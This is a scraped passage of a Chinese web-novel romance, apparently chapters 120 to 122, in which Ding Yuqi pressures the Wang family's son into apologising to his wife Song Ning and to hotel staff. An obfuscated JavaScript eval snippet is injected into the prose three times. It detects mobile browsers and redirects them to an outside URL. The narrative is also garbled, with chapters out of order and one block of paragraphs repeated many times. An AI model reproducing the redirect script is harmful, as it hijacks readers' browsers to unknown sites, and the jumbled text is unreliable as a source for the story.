小王总疼的嗷嗷叫:“爸你这么怕她干什么呀?丁家那个老三我知道丁家的家业都被两个哥哥瓜分完了他什么都没有自己还得去干律师讨口饭吃!你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15986913|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么怕他老婆干什么?” “笨!你以为小丁总为什么不去争丁家的财产?” “……争不过呗?他上面两个哥哥一个比一个能干他能抢得过才有鬼了。” “因为他最得陈老先生喜欢!继承了陈家的家底谁还看得上丁家那点东西?” 小王总不明白:“您说的这个陈老先生到底是什么人?” “什么人?哼如果你敢得罪他的宝贝外孙媳妇能让你从这个世界上消失的无影无踪的人!” 小王总嘶哈嘶哈得揉着耳朵仍旧是一脸的不服气:“你说他疼外孙正常 ,但也不见得对外孙媳妇多上心吧?” “你个蠢货!陈老先生的书房里可没放其他两个丁太太的照片,单单放了她的,你还不明白吗?!” 小王总似懂非懂。 老王总捶胸顿足。 …… 应宋凝的要求,瑞贝卡快速封锁了消息。 除了当时在场的几个前台还有服务生之外,她和丁予期结婚的消息,没有再往外扩散。 中午宋凝去找了唐婷,跟她说了这些天发生的事情。 唐婷听得嘴巴都张成了一个O型。 “……你等等,我捋捋啊。也就是说,你现在的确是跟傅东擎离婚了,但是却跟他的好哥们结婚了?” 宋凝纠正她:“协议结婚而已,一年之后就会离。” 唐婷咬着筷子,试探性地问:“可是这个小丁总好像对你挺情有独钟的,为了你不惜撬自己好兄弟的墙角。啧啧,我一想到以前你们三个同框的时候,他看着你跟傅东擎甜甜蜜蜜在一起,自己却只能强颜欢笑在角落里阴暗爬行的样子,我就觉得好好磕!” 宋凝:“……要不你转行当编剧吧。而且国内市场估计过不了审,你去拍泰剧吧。” 唐婷嘿嘿笑了两声:“阿凝,你不愿意接受他,是不是还是因为傅东擎啊?觉得要是跟他在一起之后,还是免不了跟傅东擎见面?还是觉得物以类聚,他跟傅东擎也是一路货色?” 第一百二十二章 手黑心狠丁三少 小王总本身是一肚子怨气的下来。 现在怨气全都变成了火气,进而变成了晴天霹雳。 本来他仗着自己是亲爹唯一的儿子,各种作天作地胡作非为都不要紧。 老头子除了骂两句打两下,也不能把他怎么样。 可老头子在外面还有个儿子,这性质就不同了。 他当下也微微冷静了下来,不是为了楼上的美女,而是为了自己接下来的人生。 老王总也是一样。 他从一开始就觉得丁予期来的奇怪,现在听他说起新的投资商,他就什么都明白了。 这家伙就是卡着这个时间来的! 他也满腹心事,只想应付完眼前这个麻烦精,赶紧去处理自己的事情。 他低斥了自己儿子一句:“赶紧给丁太太道歉,丁太太大人有大量,这件事就算过去了。” 小王总也不再犟嘴了,虽然还是很不情愿,但还是低了头:“丁太太,今天早上的事情是我脑子不清楚,冒犯了您,我给您道歉,对不起。” 丁予期回头看向宋凝:“怎么样?你觉得可以吗?” 宋凝点了点头。 丁予期:“声音太小,我太太没听见。” 宋凝:“?” 小王总气的冷笑,但还是放大了音量:“丁太太,对不起!请您原谅我早上的唐突,我以后一定改正!” 丁予期又问宋凝:“这次呢,觉得如何?” 宋凝:“……你说呢?” 丁予期:“我太太觉得态度不够诚恳,再来一次,认错的态度要端正一些。” 小王总顿时握紧的拳头。 但最后还是忍了下来,深深给宋凝鞠了一躬:“对不起丁太太,我已经深深认识到了自己的错误,我为自己的鲁莽和无知给您道歉,请您原谅。” 这次的态度绝对是到位了。 鞠躬角度都大于90°了,语气也十分诚恳。 丁予期哼了两声:“这还差不多。” 他看了看表,“现在上去,应该还赶得上跟投资商开会,王总,那我们就先走了?” “好,我让人送送位……” “等一下。” 这次,是宋凝叫了停。 丁予期好整以暇地问她:“怎么?” 宋凝拿出手机,开启了录像功能:“小王总的道歉我收到了,但是我们酒店几个前台姑娘也都受过欺负,请小王总按照刚才的态度和动作,给她们也道歉。” 小王总隐忍怒意:“丁太太,给您道歉我认了,那几个打工妹凭什么?” “凭她们是卫斯理的员工,凭她们也是父母疼爱长大的孩子。小王总,我觉得您还是快点吧,要是再晚一点,都可以去学校里接你弟弟放学了。” 噗嗤。 丁予期笑出了声。 他摆摆手:“没事,你继续。” 宋凝举起手机,对准了小王总:“开始吧。” …… 离开森和的时候,是老王总的首席大秘亲自送的。 不再是那个青涩稚嫩的小姑娘了。 是个四十多岁的中年男人。 殷勤地引着他们出门,亲自帮他们拉开车门,临走的时候还塞给宋凝一大兜橘子。 “丁总,丁太太,二位慢走。” 宋凝捧着橘子:“……” 丁予期倒是轻笑着挥了挥手:“回去吧,让你们王总放心。” 首席大秘得了这句话,终于松了一口气:“好的好的,那就多谢丁总了。” 车子缓缓驶离,首席大秘看着远去的车尾灯,擦了擦头上的汗。 早就听说这个丁家老三是个混世魔王,他亲爹和上面几个哥哥都管不住,只有他外公陈老爷子说的话他还能听两句。 也怪自家少爷,平时玩玩就算了,今天居然得罪了他太太,那可是个大麻烦。 回到总经理办公室的时候,老王总正在跟投资商开视频会议。 年纪大了,用不惯耳机,投资商的声音就直接公放了出来:“王总,看来您是已经有了新的资方啊,说好的一点半开会,您可是活活让我等了半个小时。” 老王总疲惫不堪,似乎一个中午过去,苍老了五岁,不停的赔不是:“对不住啊李总,今天真的是有点急事耽误了,真不是有意怠慢您。这样,您的投资盈利我再给您加两个点,复利的,您看行不行?” 等老王总挨完骂当完孙子,已经是一个小时后了。 他也疲惫不堪。 看到秘书站在门口,招了招手示意他进来:“瘟神送走了没有?” 秘书点头:“送走了,他让我转告您,放心。” 老王总气得直骂脏话:“丁家这三兄弟,老大果决老 二阴狠,都说老三脾气好,其实就是个笑面虎!比他那两个哥哥难缠多了!臭小子惹谁不好,惹到他老婆,被他记恨上了准没好事儿!” 秘书劝说道:“他应该是个有分寸的,不会出去乱嚷嚷。” “我倒是不担心他嚷嚷,我只是担心……” “担心小少爷?” 老王总头疼:“这家伙手黑心狠,不得不防。” “可是我看他的样子,应该不至于吧?” “呵呵,你是没见过当年他跟他亲爹斗法,陈老爷子出面都没用。” 秘书倒吸了一口凉气,想起当年那件事,明显也有些心有余悸。 老王总说:“反正这家伙不是个好相与的,自己亲爹下起手来都毫不留情,以后还是留意着点。对了,他那个老婆以后也让人多留意,千万别惹。” 秘书连连点头。 这个丁三太太可是能让陈老爷子另眼相待的。 今天就为了一个道歉,丁予期都能不依不饶地追到森和来。 一个大魔王一个小魔王都是她的护法,谁敢惹? …… 另一边,宋凝捧着一兜橘子有些不知所措。 丁予期从里面挑了一个出来,慢悠悠地剥着皮。 宋凝:“你喜欢吃橘子?” “一般。” “我看你今天一直在吃,真有那么好吃?” 她是南城人,出蜜橘的地方。 森和的橘子她觉得很一般。 丁予期挑眉:“你不是喜欢吃?” “我也没有特别喜欢,小时候吃太多了,有点吃腻了。” 丁予期往嘴里扔了一片:“可是我记得你以前挺喜欢的,每次去都能看到果盘里的橘子,还都是剥好的。” “那是傅东擎喜欢……” 宋凝闭了嘴。 丁予期呵呵笑了一下:“原来你是给他买的,还给他剥好装盘,插上小叉子。” 傅东擎爱吃橘子。 但是他不爱剥,而且还不爱吃橘子上面的白色橘络。 每次都是宋凝给他剥好,去掉橘络,插上小叉子他才肯吃。 不过想想,那也已经久远的好像是上辈子的事了。 “你爱吃什么水果?” “唔,西瓜吧。” “那一会儿回去我去厨房给你弄一盘切好的西瓜送去64楼。” 丁予期勾唇,嘴上却说:“方便吗,不方便就算了。” 宋凝:“不方便。” 丁予期立马幽怨地看着她。 宋凝往他嘴里塞了几片橘子:“先吃点橘子凑合凑合,回去给你弄。” “我其实不爱吃橘子。” “都剥开了,不吃浪费。” 第一百二十章 替她找回场子 到森和的时候,是一个年轻漂亮的女员工负责接待。 宋凝看到的时候,其实微微有些迟疑。 等两人被请到会客厅的时候,宋凝才问出了心里的疑惑:“刚刚接待我们的那个女孩,成年了吗?” 女孩看起来真的太青涩了,虽然看得出是一个文静的小姑娘,长得也算水灵。 但宋凝总觉得她的年龄应该比看上去还小一些。 丁予期剥了一个橘子,递给她,轻笑:“你不是都猜出来了?” 其实今天早上跟小王总交锋的时候,宋凝心里就有猜测。 这个小王总,就喜欢鲜嫩的小姑娘。 对前台那几个小妹妹各种言语骚扰,但是对她这种25+的**就不怎么热络。 顶多是夸几句,一听说她结过婚就翻脸。 丁予期轻声说:“你觉得,我们应该继续跟森和合作么?” 宋凝有些局促:“这么大的事情,让我做决定?” 丁予期微微沉稳了一些,说话速度也慢了下来:“做酒店行业,服务态度是第一,但更重要的是挑选合作方。不管是上游承接还是下游供货,都关系到酒店的品质和口碑。你爸爸以前吃亏就吃亏在太讲义气,觉得自己的兄弟肯定不会骗人,结果于洪亮那几个人就以次充好,从中吃了大量回扣,以至于把他们的胃口养的越来越大。” 宋凝微微正色起来。 那时候她还小,只知道丽晶酒店的生意一开始很不错,后来客源就不是很多了。 再然后,就是爸爸被做局陷害关进了监狱,丽晶酒店也作为抵债品,最后到了于洪亮他们几个手里。 “……你的意思是说,森和也有以次充好的行为?” 丁予期说:“水至清则无鱼,无伤大雅的小瑕疵我可以睁一只眼闭一只眼,反而是因为有利可图,他们才会对卫斯理的业务格外上心。” 宋凝听完,有点明白了他的意思:“就是说,供应商的利润要控制在一个区间内,既让他们有一些额外的利润可以拿,也丝毫不能降低产品质量?” 丁予期满意地点了点头:“你爸爸就是人太忠厚了,太忠厚的人做生意,要么做不大,要么被人坑,就这两种结局。” 宋凝有些若有所思。 “橘子甜吗?” 她脑子里在想事情,无意识地往嘴里塞了一片,慢慢咀嚼着,缓缓点头:“甜。” “那我也想吃。” 宋凝把手里剩下的半个橘子递给他:“给。” 突然间,掌心传来温热湿漉的触感。 他没接,而是就着她的手,直接用嘴衔住了橘瓣。 “嗯,是挺甜。” 宋凝只觉得刚刚被他的唇碰过的地方痒痒的。 她甩了甩手,还是觉得那股痒意有些消不下去。 会客室的门被敲响了。 还是刚刚那个女员工:“丁总您久等了,我们王总来了。” 老王总明显是赶过来的,还呼哧带喘,谄媚地走了过来:“丁总,您怎么亲自来了?您打个电话,我带着犬子去卫斯理酒店找您就行。您这么忙,哪好意思麻烦您啊!” 丁予期压根没站起来,全程坐着,伸出手跟老王总礼貌性地碰了一下就收了回来:“听说王总您找过我挺多次,今天下午刚好有时间,就过来看看。” 老王总忙不迭点头:“是,听说丁总之前是出差了?” “刚结婚,”丁予期不经意间亮了一下自己的婚戒,在眼前仔细端详了一下:“陪老婆在她老家待了一阵子。” 老王总是个有眼力界儿的,立马夸了起来:“这个婚戒真好看啊!诶,丁太太怎么没戴?” 丁予期轻笑着说:“我太太是个很有大局观的人。我们两个虽然结婚了,但是都要在卫斯理酒店工作,总不能让别人误会她凭能力坐上的位置是靠跟我的关系,这对我太太不公平,也会让其他员工产生不愉快的心理。” 老王总连连点头:“是啊,不愧是让陈老先生的都赞不绝口的外孙媳妇,丁太太的确想的很周到了。” “不过——” 丁予期话锋一转:“我太太有大局观,不戴婚戒,那是她温柔善良为他人着想,这并不是她作为一个酒店经理,还要被合作方吃豆腐的理由。” 这话一出,老王总的神色顿时一变。 很快,他似乎就想到了自己儿子的臭德行。 他悔恨的拍了一下桌子:“我就说这小子**活都不愿意跟我去会议室,非要留在大厅里等我,原来是……” 丁予期递给宋凝一个橘子,示意她剥来吃。 可是…… 现在不是吃橘子的时候吧? 宋凝也明白为什么他要特地跑这一趟了。 应该是听说了早上的事情,下午就带她过来敲打大小王这父子两个了。 见宋凝没动,丁予期自己剥了一个橘子。 自己留下一小半,其他一大半都递给宋凝。 宋凝:“不用了。” “不是说甜?” 宋凝尴尬地接过,往嘴里塞了两片。 丁予期玩世不恭地笑着:“王总,你这里的橘子不错。我太太是正经的南城人,能让她夸的橘子,那一定是好的。” 老王总倒吸了一口凉气,有些摸不准这个混世魔王没事夸橘子到底是什么用意。 他这里的橘子估计也是行政随便在超市买的。 丁予期什么人? 丁家三少爷,陈老爷子最看好的外孙,他想吃什么橘子吃不到,非要来夸森和的? 下一秒,一道银光差点闪瞎了他的眼睛。 老王总定睛一看,只见丁予期继续给宋凝剥着橘子,左手上除了无名指根部的那一枚戒指格外闪耀之外,腕表也在闪着银光。 “嘶——丁总您这只腕表看起来挺不错。” 丁予期立刻笑开了,伸出手臂得意得展示着自己的腕表:“我太太挑的。” 老王总恍然大悟:“哦!原来是这样。丁太太的眼光真好!这只腕表真的跟丁总的气质很配。” “是吧?”丁予期眯着眼轻笑:“我这身衣服,还有领带,也都是她挑的。” “哎呀,我刚刚都没注意,丁总这身西装搭配也好,尤其是领带,特别显贵气。” 丁予期满意了,态度也好了一些:“王总,我酒店里还有事,贵公子什么时候到?早点道完歉,我们也能早点聊正事。” 宋凝尴尬地接过,往嘴里塞了两片。 丁予期玩世不恭地笑着:“王总,你这里的橘子不错。我太太是正经的南城人,能让她夸的橘子,那一定是好的。” 老王总倒吸了一口凉气,有些摸不准这个混世魔王没事夸橘子到底是什么用意。 他这里的橘子估计也是行政随便在超市买的。 丁予期什么人? 丁家三少爷,陈老爷子最看好的外孙,他想吃什么橘子吃不到,非要来夸森和的? 下一秒,一道银光差点闪瞎了他的眼睛。 老王总定睛一看,只见丁予期继续给宋凝剥着橘子,左手上除了无名指根部的那一枚戒指格外闪耀之外,腕表也在闪着银光。 “嘶——丁总您这只腕表看起来挺不错。” 丁予期立刻笑开了,伸出手臂得意得展示着自己的腕表:“我太太挑的。” 老王总恍然大悟:“哦!原来是这样。丁太太的眼光真好!这只腕表真的跟丁总的气质很配。” “是吧?”丁予期眯着眼轻笑:“我这身衣服,还有领带,也都是她挑的。” “哎呀,我刚刚都没注意,丁总这身西装搭配也好,尤其是领带,特别显贵气。” 丁予期满意了,态度也好了一些:“王总,我酒店里还有事,贵公子什么时候到?早点道完歉,我们也能早点聊正事。” 宋凝尴尬地接过,往嘴里塞了两片。 丁予期玩世不恭地笑着:“王总,你这里的橘子不错。我太太是正经的南城人,能让她夸的橘子,那一定是好的。” 老王总倒吸了一口凉气,有些摸不准这个混世魔王没事夸橘子到底是什么用意。 他这里的橘子估计也是行政随便在超市买的。 丁予期什么人? 丁家三少爷,陈老爷子最看好的外孙,他想吃什么橘子吃不到,非要来夸森和的? 下一秒,一道银光差点闪瞎了他的眼睛。 老王总定睛一看,只见丁予期继续给宋凝剥着橘子,左手上除了无名指根部的那一枚戒指格外闪耀之外,腕表也在闪着银光。 “嘶——丁总您这只腕表看起来挺不错。” 丁予期立刻笑开了,伸出手臂得意得展示着自己的腕表:“我太太挑的。” 老王总恍然大悟:“哦!原来是这样。丁太太的眼光真好!这只腕表真的跟丁总的气质很配。” “是吧?”丁予期眯着眼轻笑:“我这身衣服,还有领带,也都是她挑的。” “哎呀,我刚刚都没注意,丁总这身西装搭配也好,尤其是领带,特别显贵气。” 丁予期满意了,态度也好了一些:“王总,我酒店里还有事,贵公子什么时候到?早点道完歉,我们也能早点聊正事。” 宋凝尴尬地接过,往嘴里塞了两片。 丁予期玩世不恭地笑着:“王总,你这里的橘子不错。我太太是正经的南城人,能让她夸的橘子,那一定是好的。” 老王总倒吸了一口凉气,有些摸不准这个混世魔王没事夸橘子到底是什么用意。 他这里的橘子估计也是行政随便在超市买的。 丁予期什么人? 丁家三少爷,陈老爷子最看好的外孙,他想吃什么橘子吃不到,非要来夸森和的? 下一秒,一道银光差点闪瞎了他的眼睛。 老王总定睛一看,只见丁予期继续给宋凝剥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998796|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 橘子,左手上除了无名指根部的那一枚戒指格外闪耀之外,腕表也在闪着银光。 “嘶——丁总您这只腕表看起来挺不错。” 丁予期立刻笑开了,伸出手臂得意得展示着自己的腕表:“我太太挑的。” 老王总恍然大悟:“哦!原来是这样。丁太太的眼光真好!这只腕表真的跟丁总的气质很配。” “是吧?”丁予期眯着眼轻笑:“我这身衣服,还有领带,也都是她挑的。” “哎呀,我刚刚都没注意,丁总这身西装搭配也好,尤其是领带,特别显贵气。” 丁予期满意了,态度也好了一些:“王总,我酒店里还有事,贵公子什么时候到?早点道完歉,我们也能早点聊正事。” 宋凝尴尬地接过,往嘴里塞了两片。 丁予期玩世不恭地笑着:“王总,你这里的橘子不错。我太太是正经的南城人,能让她夸的橘子,那一定是好的。” 老王总倒吸了一口凉气,有些摸不准这个混世魔王没事夸橘子到底是什么用意。 他这里的橘子估计也是行政随便在超市买的。 丁予期什么人? 丁家三少爷,陈老爷子最看好的外孙,他想吃什么橘子吃不到,非要来夸森和的? 下一秒,一道银光差点闪瞎了他的眼睛。 老王总定睛一看,只见丁予期继续给宋凝剥着橘子,左手上除了无名指根部的那一枚戒指格外闪耀之外,腕表也在闪着银光。 “嘶——丁总您这只腕表看起来挺不错。” 丁予期立刻笑开了,伸出手臂得意得展示着自己的腕表:“我太太挑的。” 老王总恍然大悟:“哦!原来是这样。丁太太的眼光真好!这只腕表真的跟丁总的气质很配。” “是吧?”丁予期眯着眼轻笑:“我这身衣服,还有领带,也都是她挑的。” “哎呀,我刚刚都没注意,丁总这身西装搭配也好,尤其是领带,特别显贵气。” 丁予期满意了,态度也好了一些:“王总,我酒店里还有事,贵公子什么时候到?早点道完歉,我们也能早点聊正事。” 宋凝尴尬地接过,往嘴里塞了两片。 丁予期玩世不恭地笑着:“王总,你这里的橘子不错。我太太是正经的南城人,能让她夸的橘子,那一定是好的。” 老王总倒吸了一口凉气,有些摸不准这个混世魔王没事夸橘子到底是什么用意。 他这里的橘子估计也是行政随便在超市买的。 丁予期什么人? 丁家三少爷,陈老爷子最看好的外孙,他想吃什么橘子吃不到,非要来夸森和的? 下一秒,一道银光差点闪瞎了他的眼睛。 老王总定睛一看,只见丁予期继续给宋凝剥着橘子,左手上除了无名指根部的那一枚戒指格外闪耀之外,腕表也在闪着银光。 “嘶——丁总您这只腕表看起来挺不错。” 丁予期立刻笑开了,伸出手臂得意得展示着自己的腕表:“我太太挑的。” 老王总恍然大悟:“哦!原来是这样。丁太太的眼光真好!这只腕表真的跟丁总的气质很配。” “是吧?”丁予期眯着眼轻笑:“我这身衣服,还有领带,也都是她挑的。” “哎呀,我刚刚都没注意,丁总这身西装搭配也好,尤其是领带,特别显贵气。” 丁予期满意了,态度也好了一些:“王总,我酒店里还有事,贵公子什么时候到?早点道完歉,我们也能早点聊正事。” 宋凝尴尬地接过,往嘴里塞了两片。 丁予期玩世不恭地笑着:“王总,你这里的橘子不错。我太太是正经的南城人,能让她夸的橘子,那一定是好的。” 老王总倒吸了一口凉气,有些摸不准这个混世魔王没事夸橘子到底是什么用意。 他这里的橘子估计也是行政随便在超市买的。 丁予期什么人? 丁家三少爷,陈老爷子最看好的外孙,他想吃什么橘子吃不到,非要来夸森和的? 下一秒,一道银光差点闪瞎了他的眼睛。 老王总定睛一看,只见丁予期继续给宋凝剥着橘子,左手上除了无名指根部的那一枚戒指格外闪耀之外,腕表也在闪着银光。 “嘶——丁总您这只腕表看起来挺不错。” 丁予期立刻笑开了,伸出手臂得意得展示着自己的腕表:“我太太挑的。” 老王总恍然大悟:“哦!原来是这样。丁太太的眼光真好!这只腕表真的跟丁总的气质很配。” “是吧?”丁予期眯着眼轻笑:“我这身衣服,还有领带,也都是她挑的。” “哎呀,我刚刚都没注意,丁总这身西装搭配也好,尤其是领带,特别显贵气。” 丁予期满意了,态度也好了一些:“王总,我酒店里还有事,贵公子什么时候到?早点道完歉,我们也能早点聊正事。” 第一百二十一章 该说什么,自己想好 丁予期话锋一转,老王总才终于反应过来他今天是干嘛来了。 无事不登三宝殿。 就说这个丁三少爷性格乖戾,好好的家业不继承,偏偏跑去当什么律师。 现在律师也不知道当不当了,好好的合作也扔着不管,带着女人到处玩。 今天他突然造访,老王总还以为这个混世魔王是成家立业了要稳下来搞事业了,没想到居然是来给他女人打抱不平的? 老王总脸上的笑容顿时有些挂不住了。 丁予期也不急,老神在在地端详着自己的腕表,末了又伸手递给宋凝一个橘子:“好吃你就多吃点。” 分明是他想吃吧! 宋凝默默把橘子放了回去:“总吃橘子也不太好,搞得我们好像是来森和蹭橘子吃一样。” 丁予期呵呵笑:“没关系,王总也算是跟我外公合作过的,格局大的很,不会因为你吃他几个橘子就记恨的,对吧王总?” 他这哪是吃橘子啊。 他这是点他呢! 他不急,可以慢慢吃橘子等小王总来道歉。 不管他推脱什么借口,他都可以用这句话堵回去。 老王总嗤笑了一声:“丁总说的是,橘子随便吃,不够了我再让人送来。” “谢谢王总了,不过一直等着也不是个事儿,我们两个的时间都得被耽误,你说呢?” 老王总的脸色已经彻底沉了下来。 他频频看表,明显有些焦急。 丁予期的笑意更大了一些,又自顾自地剥了个橘子。 几个人无声的沉默了一会儿,终究是老王总先开了口:“行吧,那两位稍等,我这就去把犬子叫过来给丁太太道歉。” 丁予期立刻叫住了他:“王总,你这员工那么多,随便让谁去叫不就完事了?哪儿用得着您亲自跑一趟。刚好我外公上次跟我下棋的时候,有个残局一直解不开。王总棋艺精湛,帮忙看看?” 说着,他从手机里调出了一局存储的棋局,放在了老王总的面前。 老王总又看了看表,已经有些如坐针毡了。 他找了个借口说道:“行,我先去个洗手间,回来一定跟丁总您切磋一下棋艺……” “要去洗手间啊?” “对,有点吃坏肚子里,人有三急。” 丁予期也跟着一起站了起来:“我也想去,正好,我们一起。” 他走到了门边,可老王总还站在原地没有动。 他回过头来,轻笑着说:“不 是很急么?怎么王总又不想去了?” 老王总面如死灰。 他叹了口气打了个电话给秘书:“让那个狗东西立刻给我滚到会客厅来!对立刻!” 挂了电话他重重把手机扔到了一边愤愤地咬着牙。 丁予期也回到了原来的沙发上拍了拍自己身侧的位置示意宋凝:“坐。” 宋凝说:“小王总估计也快来了我就不做了。” 丁予期噗嗤笑了一声:“你可千万别这么说王总会误会你看不起他儿子呢。” 宋凝:“?” 丁予期说道:“小王总这会儿应该还在温柔乡里‘无法自拔’呢吧?” 说起“拔”这个字的时候他的语调有些暧昧地调侃。 宋凝:“……” 她恨自己为什么是个秒懂女孩。 过了大概十几分钟小王总才衣衫不整的姗姗来迟。 衣服松松垮垮的扣子都没扣好露出胸前大片的皮肤。 ……还有**。 下巴上和嘴唇边都是红红的口红印子蹭的凌乱涂靡。 他不满的咕哝着:“爸什么事这么急找我啊?我正忙着呢!” 老王总抄起一个烟灰缸就扔了过去:“忙个屁!你早上干了什么自己心里没点数吗?还不滚过来给丁太太道歉!” 小王总这才注意到沙发上坐着的宋凝。 还有她身边的丁予期。 丁予期一只手搭在宋凝身后的沙发靠背上占有意味十足。 另一手拿着几片橘瓣在手里把玩着。 不阻止也不拒绝。 小王总有些迷茫:“你是……哎哟!爸你能不能不要一直打我?我都多大人了你还动手……” “还问!”老王总气不打一处来:“这位是卫斯理的丁总还有丁总太太你少废话 丁予期:“不是给你是给我太太。” 老王总立马点头:“对对对赶紧给丁太太道歉!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009304|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小王总一脸不忿:“我做什么了我要道歉?” “你……” 丁予期霍地一下站了起来:“小丁总少吃点药吧那种药吃多了伤脑子。你看早上才发生的事情现在你就这么健忘。” 老王总听了这话立刻问道:“什么药?” 他又给了自己儿子一巴掌:“说话!什么药!你是不是瞒着我抽什么不该抽的东西了?还是什么**!你这个狗崽子老子今天打死你!” “王总误会了,”丁予期轻声说:“不是什么违禁药品,不过就是一些岛国买来的助兴药物罢了,不然就贵公子这夜夜笙歌缠绵美人榻的频率,铁打的人也扛不住呀。” 老王总气的嘴唇都在抖:“你才多大年纪啊,你就吃药!” “爸,我……” 丁予期:“小王总,你可是你爸的独苗,以后森和少东家,再这么糟蹋身体,我还真是担心以后森和后继无人,我还得另外找合作方去,啧啧,麻烦。” 老王总彻底忍不了了,到处找称手的工具,准备给儿子来一场爱的教育。 可丁予期又开口了:“王总您也消消火,多保重身体,大号练废了,小号可得好好培养啊,找几个私教慢慢教着,等再大一点就可以进公司来帮你的忙了。” 宋凝在旁边都听愣了。 这家伙今天不止是来要说法的,是来寻仇的吧! 一下子把老子儿子的老底全揭了! 这还得了?! 果然,话音刚落,小王总也炸了:“爸,他这话什么意思?您在外面还有其他私生子?” 老王总面如土色,“不是,你听我说,这件事是这样的……” “你是嫌我不争气是吧?我妈跟了你三十多年,你在外面乱搞?!” “你个逆子,有这么说你亲爹的吗!说我乱搞,你搞的比我少?” “有其父必有其子!我是遗传的你!” “你……” 丁予期扬声说道:“两位,新的投资商还有性感美女都在等你们呢,确定要继续吵?” 两人似乎都有心事,恨恨停了下来。 丁予期脸色一变,冷冷对小王总说:“我太太就在这里,该说什么,自己想好,要是实在想不到,就问问你爸。” 第一百二十二章 手黑心狠丁三少 小王总本身是一肚子怨气的下来。 现在怨气全都变成了火气,进而变成了晴天霹雳。 本来他仗着自己是亲爹唯一的儿子,各种作天作地胡作非为都不要紧。 老头子除了骂两句打两下,也不能把他怎么样。 可老头子在外面还有个儿子,这性质就不同了。 他当下也微微冷静了下来,不是为了楼上的美女,而是为了自己接下来的人生。 老王总也是一样。 他从一开始就觉得丁予期来的奇怪,现在听他说起新的投资商,他就什么都明白了。 这家伙就是卡着这个时间来的! 他也满腹心事,只想应付完眼前这个麻烦精,赶紧去处理自己的事情。 他低斥了自己儿子一句:“赶紧给丁太太道歉,丁太太大人有大量,这件事就算过去了。” 小王总也不再犟嘴了,虽然还是很不情愿,但还是低了头:“丁太太,今天早上的事情是我脑子不清楚,冒犯了您,我给您道歉,对不起。” 丁予期回头看向宋凝:“怎么样?你觉得可以吗?” 宋凝点了点头。 丁予期:“声音太小,我太太没听见。” 宋凝:“?” 小王总气的冷笑,但还是放大了音量:“丁太太,对不起!请您原谅我早上的唐突,我以后一定改正!” 丁予期又问宋凝:“这次呢,觉得如何?” 宋凝:“……你说呢?” 丁予期:“我太太觉得态度不够诚恳,再来一次,认错的态度要端正一些。” 小王总顿时握紧的拳头。 但最后还是忍了下来,深深给宋凝鞠了一躬:“对不起丁太太,我已经深深认识到了自己的错误,我为自己的鲁莽和无知给您道歉,请您原谅。” 这次的态度绝对是到位了。 鞠躬角度都大于90°了,语气也十分诚恳。 丁予期哼了两声:“这还差不多。” 他看了看表,“现在上去,应该还赶得上跟投资商开会,王总,那我们就先走了?” “好,我让人送送位……” “等一下。” 这次,是宋凝叫了停。 丁予期好整以暇地问她:“怎么?” 宋凝拿出手机,开启了录像功能:“小王总的道歉我收到了,但是我们酒店几个前台姑娘也都受过欺负,请小王总按照刚才的态度和动作,给她们也道歉。” 小王总隐忍 怒意:“丁太太,给您道歉我认了,那几个打工妹凭什么?” “凭她们是卫斯理的员工,凭她们也是父母疼爱长大的孩子。小王总,我觉得您还是快点吧,要是再晚一点,都可以去学校里接你弟弟放学了。” 噗嗤。 丁予期笑出了声。 他摆摆手:“没事,你继续。” 宋凝举起手机,对准了小王总:“开始吧。” …… 离开森和的时候,是老王总的首席大秘亲自送的。 不再是那个青涩稚嫩的小姑娘了。 是个四十多岁的中年男人。 殷勤地引着他们出门,亲自帮他们拉开车门,临走的时候还塞给宋凝一大兜橘子。 “丁总,丁太太,二位慢走。” 宋凝捧着橘子:“……” 丁予期倒是轻笑着挥了挥手:“回去吧,让你们王总放心。” 首席大秘得了这句话,终于松了一口气:“好的好的,那就多谢丁总了。” 车子缓缓驶离,首席大秘看着远去的车尾灯,擦了擦头上的汗。 早就听说这个丁家老三是个混世魔王,他亲爹和上面几个哥哥都管不住,只有他外公陈老爷子说的话他还能听两句。 也怪自家少爷,平时玩玩就算了,今天居然得罪了他太太,那可是个**烦。 回到总经理办公室的时候,老王总正在跟投资商开视频会议。 年纪大了,用不惯耳机,投资商的声音就直接公放了出来:“王总,看来您是已经有了新的资方啊,说好的一点半开会,您可是活活让我等了半个小时。” 老王总疲惫不堪,似乎一个中午过去,苍老了五岁,不停的赔不是:“对不住啊李总,今天真的是有点急事耽误了,真不是有意怠慢您。这样,您的投资盈利我再给您加两个点,复利的,您看行不行?” 等老王总挨完骂当完孙子,已经是一个小时后了。 他也疲惫不堪。 看到秘书站在门口,招了招手示意他进来:“瘟神送走了没有?” 秘书点头:“送走了,他让我转告您,放心。” 